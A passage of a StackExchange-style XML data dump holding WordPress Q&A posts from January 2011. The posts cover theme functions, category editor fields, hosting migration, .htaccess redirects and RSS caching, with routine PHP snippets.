Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;ui&gt;" AnswerCount="2" />
  <row Id="6540" PostTypeId="1" AcceptedAnswerId="6544" CreationDate="2011-01-07T17:33:11.467" Score="0" ViewCount="171" Body="&lt;p&gt;I'm attempting to move some code from a plugin over to my theme's functions.php file, but when I attempt to wrap it in the is_single() wrapper inside of functions.php, it never fires. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_single()) {&#xA;echo &quot;hello world&quot;; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't get the echo to fire from any inside post page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has to be something insanely simple I'm overlooking.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-07T19:28:42.663" LastActivityDate="2011-01-07T19:28:42.663" Title="is_single() works in plugin, not in theme?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="6541" PostTypeId="1" AcceptedAnswerId="6551" CreationDate="2011-01-07T18:29:43.850" Score="2" ViewCount="400" Body="&lt;p&gt;I've been working lots with categories lately, what with the increased awareness and demand for themed or silo'd site structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To that end, I'm looking to enhance my category landing pages by relabeling the &quot;Description&quot; field as &quot;Summary Description&quot; and adding a new field called &quot;Detailed Description&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be using the &quot;Summary Description&quot; field on my category index page (a listing of all my site's categories) and I want to use this new &quot;Detailed Description&quot; field to show on the landing page for each category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need a rich text edit field added to the Category Edit Screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does WordPress make it easy to create an instance of a rich text edit field, perhaps pulling a light version of the post/page editor? I probably don't need a toolbar, but it might be nice to have some basic formatting buttons like B, I, U, hyperlink, etc...&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-09T17:25:40.020" Title="How to add a WYSIWYG text editor to the Category Edit Screen" Tags="&lt;theme-development&gt;&lt;visual-editor&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="6542" PostTypeId="1" CreationDate="2011-01-07T18:59:03.390" Score="2" ViewCount="169" Body="&lt;p&gt;I am trying to complete my load-balanced installation of WP and I have come into an issue. I would like to sync the uploads folder between the two installs but I do not know how to limit wp-admin access to a single server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastEditorUserId="3536" LastEditorDisplayName="" LastEditDate="2011-03-09T04:16:05.200" LastActivityDate="2011-03-09T04:16:05.200" Title="Load Balanced WP with single server admin access" Tags="&lt;wp-admin&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6543" PostTypeId="1" CreationDate="2011-01-07T19:10:40.380" Score="0" ViewCount="98" Body="&lt;p&gt;as Wordpress 2.9 comes with built in post thumbnail features, is it necessary to use Timthumb ? if yes specify&lt;/p&gt;&#xA;" OwnerUserId="1548" LastActivityDate="2011-01-07T19:27:29.950" Title="Is it necessary to use Timthumb in Wordpress 2.9+?" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="6544" PostTypeId="2" ParentId="6540" CreationDate="2011-01-07T19:20:38.347" Score="2" ViewCount="" Body="&lt;p&gt;All that I can think of is to verify that you are in fact on a single post page ( echo out an else conditional, make sure that you are actually hitting your block of code ).  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_single() ) {&#xA;    echo 'Hello World, Is Single';&#xA;} else {&#xA;    echo 'Not Single';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where exactly are you placing the code (Header, Body, Footer, which template file)?  Are you using any frameworks like Carrington ?&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2011-01-07T19:20:38.347" CommentCount="4" />
  <row Id="6545" PostTypeId="2" ParentId="6538" CreationDate="2011-01-07T19:26:15.890" Score="0" ViewCount="" Body="&lt;p&gt;Did you try something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$loop = new WP_Query( array( &#xA;    'post_type' =&amp;gt; 'business_club',&#xA;    'meta_value' =&amp;gt; 'United Kingdom',&#xA;    'order' =&amp;gt; 'ASC',&#xA;    'orderby' =&amp;gt; 'meta_value',&#xA;    'meta_key' =&amp;gt; 'zone'&#xA; ) ); &#xA;while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know yet if you can do the &lt;em&gt;then orderby&lt;/em&gt; &lt;strong&gt;town&lt;/strong&gt; and &lt;strong&gt;title&lt;/strong&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-01-07T19:26:15.890" CommentCount="1" />
  <row Id="6546" PostTypeId="2" ParentId="6543" CreationDate="2011-01-07T19:27:29.950" Score="2" ViewCount="" Body="&lt;p&gt;Was it ever necessary? Timthumb is not included in WordPress core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be confusing it as WP feature because it is included in theme you use, but that is question to theme's developer and has little to do with WordPress itself.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-07T19:27:29.950" CommentCount="1" />
  <row Id="6547" PostTypeId="2" ParentId="6389" CreationDate="2011-01-07T19:33:45.270" Score="1" ViewCount="" Body="&lt;p&gt;So, i needed to extract the &lt;strong&gt;term&lt;/strong&gt; of a know &lt;strong&gt;taxonomy&lt;/strong&gt; given to a page (like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_prod_categoria() {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;register_taxonomy(&#xA;  'prod-categoria',&#xA;  array( 'produtos', 'page' ),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;produtos&lt;/strong&gt; being a custom post type, just for info.)). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried various things, among them, this: &lt;code&gt;get_terms('prod-categoria','');&lt;/code&gt; This, works, but gives me everything about my taxonomy &lt;strong&gt;prod-categoria&lt;/strong&gt;, which isn't what i needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then as explained in the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt;, two (interesting for me) parameters are available for &lt;code&gt;get_terms()&lt;/code&gt;: &lt;strong&gt;child_of&lt;/strong&gt; and &lt;strong&gt;parent&lt;/strong&gt;. This sounded perfect, so i went: &lt;code&gt;get_terms('prod-categoria','child_of=marca');&lt;/code&gt; and also &lt;code&gt;get_terms('prod-categoria','parent=marca');&lt;/code&gt;, &lt;strong&gt;marca&lt;/strong&gt; being a term parent (from the custom taxonomy &lt;strong&gt;&lt;em&gt;prod-categoria&lt;/em&gt;&lt;/strong&gt;) from which i wanted to extract the child terms. Both gave me no results. I also tried with the name &lt;strong&gt;&lt;em&gt;Marca&lt;/em&gt;&lt;/strong&gt; and the slug &lt;strong&gt;&lt;em&gt;marca&lt;/em&gt;&lt;/strong&gt;, nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution i ended up with is this: &lt;code&gt;$tt = the_title('','',false);&lt;/code&gt;. I'm getting the page title to use it as a parameter after: &lt;code&gt;$posts = posts_search ('produtos',array('prod-categoria'=&amp;gt;$tt,'prod-cols'=&amp;gt;'5-C-P-F-NF-P')); if($posts) { echo &quot;&amp;lt;table class=\&quot;table-marca\&quot;&amp;gt;&quot;; foreach($posts as $post) { ... }&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, the function posts_search() (found it on &lt;a href=&quot;http://wordpress.stackexchange.com&quot;&gt;http://wordpress.stackexchange.com&lt;/a&gt; or &lt;a href=&quot;http://stackoverflow.com&quot;&gt;http://stackoverflow.com&lt;/a&gt; if i'm right, dont remember for sure) allows to do queries on multiple taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I agree very much that it's far away from being perfect, the title of the page having to be equal to the taxonomy name, but in my case it works. Thanks a lot to Rarst and Piet for trying to help.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-01-07T19:33:45.270" />
  <row Id="6548" PostTypeId="2" ParentId="6539" CreationDate="2011-01-07T19:43:52.920" Score="2" ViewCount="" Body="&lt;p&gt;Putting it under Tools seems reasonable to me. Hiding it after a certain action might cause confusion.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-07T19:43:52.920" />
  <row Id="6549" PostTypeId="1" AcceptedAnswerId="6599" CreationDate="2011-01-07T19:54:21.780" Score="0" ViewCount="528" Body="&lt;p&gt;I think I'm pretty close to cracking this nut :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to add a set of custom fields to the Category editor. Since I'm not dealing with post meta, I believe I'll be writing my custom category field values to the wp_term_taxonomy table rather than the wp_options table. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are any examples of how to do this, please share a link or bit of code. I'm not sure how to capture and save my custom category fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//add the hook to place the form on the category editor screen&#xA;add_action('edit_category_form','ce4_category_admin');&#xA;&#xA;//Adds the custom title box to the category editor&#xA;function ce4_category_admin($category){&#xA;    echo &quot;category: &quot;.$category-&amp;gt;term_id; //great, I got a reference to the term_id, now I need to get/set my custom fields with this key&#xA;    ?&amp;gt;&#xA;&amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;        &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;            &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;_ce4-categoryTitle&quot;&amp;gt;Full Category Title&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;input name=&quot;_ce4-categoryTitle&quot; id=&quot;_ce4-categoryTitle&quot; type=&quot;text&quot; size=&quot;40&quot; aria-required=&quot;false&quot; value=&quot;&amp;lt;?php echo get_taxonomy($category-&amp;gt;term_id, '_ce4-categoryTitle'); ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;p class=&quot;description&quot;&amp;gt;The title is optional but will be used in place of the name on the home page category index.&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;            &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;_ce4_fullDescription&quot;&amp;gt;Full Category Text for Landing Page&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;textarea style=&quot;height:70px; width:100%;margin-left:-5px;&quot; name=&quot;_ce4_fullDescription&quot; id=&quot;_ce4_fullDescription&quot;&amp;gt;&amp;lt;?php echo get_taxonomy($category-&amp;gt;term_id, '_ce4_fullDescription'); ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;p class=&quot;description&quot;&amp;gt;This text will appear on the category landing page when viewing all articles in a category. The image, you supply above, if any, will be used here and this content will wrap around it.&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;//How to save the custom field data? Normally I'd use..&#xA;//add_action('save_post', 'custom_save_function');&#xA;//but this is not a post, so perhaps there's another method?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-08T20:54:56.610" Title="Any examples of adding custom fields to the category editor?" Tags="&lt;plugin-development&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="6550" PostTypeId="2" ParentId="6539" CreationDate="2011-01-07T19:57:34.540" Score="1" ViewCount="" Body="&lt;p&gt;I agree with Scribu.&#xA;I use Regenerate Thumbnails ( &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/regenerate-thumbnails/&lt;/a&gt; ), and it is found under tools.  It kind of a run once and forget about it plugin.  &lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2011-01-07T19:57:34.540" CommentCount="1" />
  <row Id="6551" PostTypeId="2" ParentId="6541" CreationDate="2011-01-07T20:02:44.253" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.laptoptips.ca/projects/category-description-editor/&quot; rel=&quot;nofollow&quot;&gt;http://www.laptoptips.ca/projects/category-description-editor/&lt;/a&gt; this works very good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;about adding another field, I'v tried @MikeSchinkel solution here &lt;a href=&quot;http://wordpress.stackexchange.com/questions/689/adding-fields-to-the-category-tag-and-custom-taxonomy-edit-screen-in-the-wordpre&quot;&gt;Adding Fields to the Category, Tag and Custom Taxonomy Edit Screen in the WordPress Admin?&lt;/a&gt; and it works very good also.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2011-01-07T20:02:44.253" CommentCount="1" />
  <row Id="6552" PostTypeId="2" ParentId="6542" CreationDate="2011-01-07T20:31:53.437" Score="4" ViewCount="" Body="&lt;p&gt;I work on a Load balanced instance of WordPress where all uploaded content is stored on a separate server and each WordPress server's upload or blogs.dir folder is linked to that content server (a shared disk).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of the box I do not believe there is way to force Wordpress to use a single server.  You could try some host file magic and force the admin to use HTTPS and then limit all SSL connections to that server, but I would not recommend this solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need more help, you will need to provide more information about your set up as scribu mentioned.&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2011-01-07T20:31:53.437" />
  <row Id="6553" PostTypeId="1" CreationDate="2011-01-07T20:41:23.010" Score="3" ViewCount="207" Body="&lt;p&gt;I recently switched a WP site from shared hosting to a VPS and would like to document the process here.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-07T21:03:34.033" LastActivityDate="2011-03-23T05:39:57.927" Title="How do you seamlessly switch hosting?" Tags="&lt;hosting&gt;&lt;migration&gt;&lt;dns&gt;" AnswerCount="3" FavoriteCount="4" />
  <row Id="6554" PostTypeId="2" ParentId="5742" CreationDate="2011-01-07T20:43:32.803" Score="0" ViewCount="" Body="&lt;p&gt;If you change the author slug watch out for broken links, especially in relation to SEO if your site is already live.&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2011-01-07T20:43:32.803" CommunityOwnedDate="2011-01-07T20:43:32.803" />
  <row Id="6555" PostTypeId="1" AcceptedAnswerId="6597" CreationDate="2011-01-07T20:49:38.960" Score="0" ViewCount="156" Body="&lt;p&gt;In the code below, rather than writing out the entire description field ($category-&gt;description), how can I call the equivalent of the_excerpt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm placing the &quot;more&quot; tag after the first paragraph of the category description and using a visual editor to edit my category descriptions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function show_category_index($content){&#xA;    $categories=get_categories('exclude=1&amp;amp;exclude_tree=1');&#xA;    echo $content;&#xA;    echo '&amp;lt;ul style=&quot;list-style-type:none;margin:0;padding:0&quot;&amp;gt;';&#xA;    foreach($categories as $category) {&#xA;        echo '&amp;lt;li style=&quot;clear:both;&quot;&amp;gt;'.get_category_thumbnail($category-&amp;gt;term_id, 'thumbnail').'&amp;lt;a style=&quot;display:block;margin-top:20px;&quot; href=&quot;' . get_category_link( $category-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $category-&amp;gt;name.'&amp;lt;/a&amp;gt;';&#xA;        echo $category-&amp;gt;description . '&amp;lt;/li&amp;gt;';&#xA;        } &#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-08T19:14:24.403" Title="How can the_excerpt (or equivalent) be called on a category description?" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="6556" PostTypeId="2" ParentId="6553" CreationDate="2011-01-07T20:56:57.193" Score="5" ViewCount="" Body="&lt;h2&gt;Put old host in read-only mode&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to WP Admin -&gt; Settings -&gt; Discussion and check &quot;Users must be registered and logged in to comment&quot;&lt;/li&gt;&#xA;&lt;li&gt;Disable authentication:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Create a PHP file inside the wp-content/mu-plugins folder, with the following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function wp_get_current_user() {&#xA;    return null;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will prevent all logged-in users from leaving comments or creating posts on the old host.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Copy files and database to new host&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I used FTP for transfering files and phpMyAdmin for exporting/importing the DB.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Handle DNS&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Point your domain to the new host's IP address.&lt;/li&gt;&#xA;&lt;li&gt;Wait for propagation to take place.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Once the new DNS settings have propagated fully, you can nuke the old host.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-07T20:56:57.193" CommentCount="1" />
  <row Id="6557" PostTypeId="1" AcceptedAnswerId="6575" CreationDate="2011-01-07T21:22:39.103" Score="1" ViewCount="369" Body="&lt;p&gt;I've been browsing all over google for a solution to this. I'm writing a custom post types plugin for work to log-in visitors that we get. I initially wrote a mock-up &lt;em&gt;without&lt;/em&gt; custom post types, then I came around here from a google search and saw a screenshot that showed an example of custom post types to store information about Attorneys. It showed that someone redesigned the &quot;add new&quot;/&quot;edit&quot; page for custom post types with a whole new interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if wordpress @ stackexchange would have any resources to redesign the custom post types &quot;add/edit&quot; pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't remember the search terms that I did to find that article however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;&lt;br/&gt;-Zack&lt;/p&gt;&#xA;" OwnerUserId="2322" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-01-21T14:38:26.723" LastActivityDate="2011-01-21T14:38:26.723" Title="Redesigning Custom Post Type &quot;Add New&quot; page" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;plugin-development&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="6559" PostTypeId="1" CreationDate="2011-01-07T21:36:45.123" Score="0" ViewCount="134" Body="&lt;p&gt;I am using Contact form 7 and the database extension, the db extension creates a table called wp_CF7DBPlugin_SUBMITS. I have 2 forms on my site, I need to know if the user has completed the 2nd form, so when they return they can skip the 1st form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't even know where to start with this, any help will be much appreciated.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-31T08:34:59.707" Title="How do I query a table?" Tags="&lt;wpdb&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6561" PostTypeId="1" AcceptedAnswerId="6835" CreationDate="2011-01-07T22:11:05.910" Score="0" ViewCount="331" Body="&lt;p&gt;I am in the process of moving a site made up of asp pages to a completely redesigned Wordpress site.  It has come time to create the 301 redirects for those old pages, so I don't break any links that are out there.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have the redirection plugin installed as well.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using it to do these types of redirects.  I've also tried using htaccess, but everything I've tried results in getting this error.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;404 - File or directory not found.&#xA;The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's my guess that the server is trying to process the page before applying the redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure others have done this before, so any thoughts/ideas would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Jeremy&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;My htaccess currently looks like this:&#xA;FileETag None&#xA;Header unset ETag&#xA;Options +FollowSymLinks&#xA;&#xA;Redirect 301 /customers/default.asp http://twostep2.com/customers/testimonials&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;# BEGIN WordPress&#xA;&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="2378" LastEditorUserId="2378" LastEditorDisplayName="" LastEditDate="2011-01-08T00:00:42.213" LastActivityDate="2011-01-12T21:57:37.577" Title="Moving an ASP Site to Wordpress - Looking for Help on Redirects" Tags="&lt;redirect&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" />
  <row Id="6564" PostTypeId="2" ParentId="5483" CreationDate="2011-01-08T02:50:09.197" Score="1" ViewCount="" Body="&lt;p&gt;I've been using this for a while to solve exactly your issue, I think I got it from the codex somewhere. But it works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// verify if this is an auto save routine. &#xA;// If it is our form has not been submitted, so we dont want to do anything&#xA;    if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE )&#xA;        return $post_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2044" LastActivityDate="2011-01-08T02:50:09.197" CommentCount="1" />
  <row Id="6565" PostTypeId="2" ParentId="6538" CreationDate="2011-01-08T05:00:21.530" Score="1" ViewCount="" Body="&lt;p&gt;If all results have the same zone, why would you want to order by zone? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, you can't include two meta_keys in a single query. So you'll have to write the query to return the results ordered by title, save them in an array, and then resort the array into the order you need using PHP.&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2011-01-08T05:00:21.530" CommentCount="1" />
  <row Id="6566" PostTypeId="1" AcceptedAnswerId="6583" CreationDate="2011-01-08T05:07:13.003" Score="0" ViewCount="72" Body="&lt;p&gt;My category descriptions consist of whole pages of content. When I view the manage categories screen, the grid does not truncate the text but rather, shows all of it. I realize I could turn off the description field in &quot;screen options&quot;, however, I'd like to be able to truncate the amount of text that shows up there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I execute a filter that limits the amount of text used in this description field?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-08T14:05:47.753" Title="How can I limit the amount of characters used for description in the manage categories grid?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="6568" PostTypeId="1" AcceptedAnswerId="6570" CreationDate="2011-01-08T05:49:07.373" Score="0" ViewCount="107" Body="&lt;p&gt;I'm in archive.php and attempting to write out the current category's description with full html. However, category_description() prints without the html markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I force it to retrieve the full description complete with the html tags?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-08T06:06:35.773" Title="How to echo category_description() without stripping out html tags?" Tags="&lt;theme-development&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="6569" PostTypeId="1" AcceptedAnswerId="6585" CreationDate="2011-01-08T05:54:11.540" Score="0" ViewCount="201" Body="&lt;p&gt;I'd like to decrease the default RSS cache time for a widget plugin i've made that outputs RSS feeds. I'm no php expert, I just copy and paste and understand little bits. I'm using this code to output the RSS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function widget($args, $instance) {&#xA;  // outputs the content of the widget&#xA;      extract( $args );&#xA;      $title = apply_filters('widget_title', $instance['title']);        &#xA;      $tip_language = apply_filters('widget_title', $instance['tip_language']);        &#xA;      echo $before_widget;&#xA;      echo &quot;&amp;lt;h3 class=\&quot;widgettitle\&quot;&amp;gt;&quot; . $title . &quot;&amp;lt;/h3&amp;gt;&quot;;&#xA;      include_once(ABSPATH . WPINC . '/rss.php');&#xA;      $rss_feed = &quot;http://mysite.org/feed&quot;;&#xA;      $rss = fetch_rss($rss_feed);&#xA;      $rss-&amp;gt;items = array_slice($rss-&amp;gt;items, 0, 1);&#xA;      $channel = $rss-&amp;gt;channel;&#xA;&#xA;      foreach ($rss-&amp;gt;items as $item ) {&#xA;          $parsed_url = parse_url(wp_filter_kses($item['link']));&#xA;          echo wptexturize($item['description']);&#xA;          echo &quot;&amp;lt;p&amp;gt;&amp;lt;a href=&quot; . wp_filter_kses($item['link']) . &quot;&amp;gt;&quot; . wptexturize(wp_specialchars($item['author'])) . &quot;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&quot;;&#xA;      }&#xA;      echo $before_after;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2011-01-08T14:28:24.623" Title="Decrease RSS cache time in plugin?" Tags="&lt;plugin-development&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="6570" PostTypeId="2" ParentId="6568" CreationDate="2011-01-08T06:06:35.773" Score="1" ViewCount="" Body="&lt;p&gt;Found the answer here &gt; &lt;a href=&quot;http://www.laptoptips.ca/projects/category-description-editor/&quot; rel=&quot;nofollow&quot;&gt;http://www.laptoptips.ca/projects/category-description-editor/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_term_field( 'description', get_query_var( 'cat' ), 'category', 'raw' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-08T06:06:35.773" />
  <row Id="6571" PostTypeId="1" AcceptedAnswerId="6584" CreationDate="2011-01-08T06:23:55.940" Score="1" ViewCount="364" Body="&lt;p&gt;I am completely noob with WordPress so I apologize in advance if my questions sounds completely stupid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a small &lt;a href=&quot;http://venhawk.com&quot; rel=&quot;nofollow&quot;&gt;business catalog site&lt;/a&gt; that I wrote long ago in plain HTML. Now I want to add some SEO and improve the design therefore I am looking to use a CMS for easy content management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is WordPress a right choice for my requirements? Is it only for blogging or can be used for any kind of site? (corporate, portfolio, catalog, personal info etc.)&lt;/li&gt;&#xA;&lt;li&gt;Will I need some kind of plugins for SEO and displaying product catalog?&lt;/li&gt;&#xA;&lt;li&gt;How can I remove the blog look (posts/dates/comments etc.) from the site?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any hints/links/insights will be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2382" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-01-11T10:34:25.093" LastActivityDate="2011-01-11T10:34:25.093" Title="WordPress for a business catalog site" Tags="&lt;cms&gt;&lt;seo&gt;&lt;best-practices&gt;&lt;listing&gt;" AnswerCount="2" />
  <row Id="6572" PostTypeId="1" AcceptedAnswerId="6577" CreationDate="2011-01-08T06:34:28.283" Score="0" ViewCount="64" Body="&lt;p&gt;When writing out the category description in my theme (on archives and special category listings) for example, there are times I need the description in full html mode and others when I need it returned stripped of any html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the code below, I actually need the stripped version of the description, however $category-&gt;description returns the full description with all tags, which is rendering my strlen snippet function inoperable depending on where it breaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I obtain an html stripped version of the description in the loop below?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($categories as $category) {&#xA;    echo '&amp;lt;li style=&quot;clear:both;&quot;&amp;gt;'.get_category_thumbnail($category-&amp;gt;term_id, 'thumbnail').'&amp;lt;a style=&quot;display:block;margin-top:20px;&quot; href=&quot;' . get_category_link( $category-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $category-&amp;gt;name.'&amp;lt;/a&amp;gt;';&#xA;&#xA;        if(strlen($category-&amp;gt;description) &amp;gt; 300 ) echo SUBSTR( $category-&amp;gt;description,0,STRPOS( 